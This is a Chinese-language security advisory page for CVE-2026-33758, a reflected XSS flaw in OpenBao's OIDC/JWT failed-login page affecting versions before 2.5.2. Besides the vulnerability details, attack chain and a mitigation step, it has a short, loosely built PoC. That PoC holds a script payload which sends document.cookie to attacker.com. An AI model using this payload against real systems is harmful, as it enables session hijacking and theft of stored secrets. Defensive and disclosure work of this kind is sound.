IPBUF安全漏洞报告
English
CVE-2026-33758 CVSS 6.1 中危

CVE-2026-33758 OpenBao 认证页面 XSS 漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33758
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenBao

相关标签

XSSOpenBaoOIDCCVE-2026-33758Web Security

漏洞概述

OpenBao 是一个开源的身份认证机密管理系统。在版本 2.5.2 之前,如果启用了 OIDC/JWT 认证方法并配置了 callback_mode=direct 的角色,攻击者可以利用失败认证页面上的 error_description 参数进行 XSS 攻击。该漏洞允许攻击者窃取受害者在 Web UI 中使用的令牌,导致会话劫持。

技术细节

该漏洞源于 OpenBao 在处理 OIDC/JWT 认证失败时的参数过滤不当。当系统配置了 callback_mode=direct 的角色时,认证流程中的错误信息(error_description)会被直接反馈并渲染在 Web UI 上。由于未对 error_description 参数进行严格的输入清理和 HTML 转义,攻击者可以注入恶意的 JavaScript 脚本。当受害者访问包含恶意 payload 的链接时,脚本将在其浏览器上下文中执行。由于 Web UI 使用令牌进行身份验证,攻击者可通过脚本读取 localStorage 或 Cookie 中的令牌,从而接管受害者账户并访问敏感机密信息。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标使用 OpenBao,且启用了 OIDC/JWT 认证并配置了 callback_mode=direct 的角色。
STEP 2
2. 制作载荷
攻击者构造包含恶意 JavaScript 代码的 payload,并将其植入 error_description 参数中,形成一个特制的恶意链接。
STEP 3
3. 投递攻击
攻击者通过社会工程学手段诱导已登录的受害者点击该恶意链接。
STEP 4
4. 执行代码
受害者点击链接后,OpenBao 返回认证失败页面,由于未过滤 error_description,恶意 JavaScript 在受害者浏览器中执行。
STEP 5
5. 窃取凭证
恶意脚本读取受害者的 Web UI 令牌,并将其发送给攻击者,攻击者进而利用该令牌接管会话。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33758 # This script demonstrates how to trigger the XSS by manipulating the error_description. import requests target_url = "https://<target-openbao>/v1/auth/jwt/login" # The payload attempts to steal the token via XSS xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Constructing a malicious request that forces an error condition # In a real scenario, this might involve tricking the user into clicking a link # that results in this error state being reflected back. data = { "role": "direct_role", # A role configured with callback_mode=direct "jwt": "invalid.jwt.token" # Invalid token to trigger error } # Note: The vulnerability relies on the error_description reflecting untrusted input # If the application allows manipulation of the error description via headers or query params # during the OIDC flow, that is where the payload is injected. # Example malicious URL victim might click: # https://target/v1/auth/jwt/login?error_description=<script>evil()</script>

影响范围

OpenBao < 2.5.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时移除任何将 callback_mode 设置为 direct 的角色配置,以阻断该攻击向量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表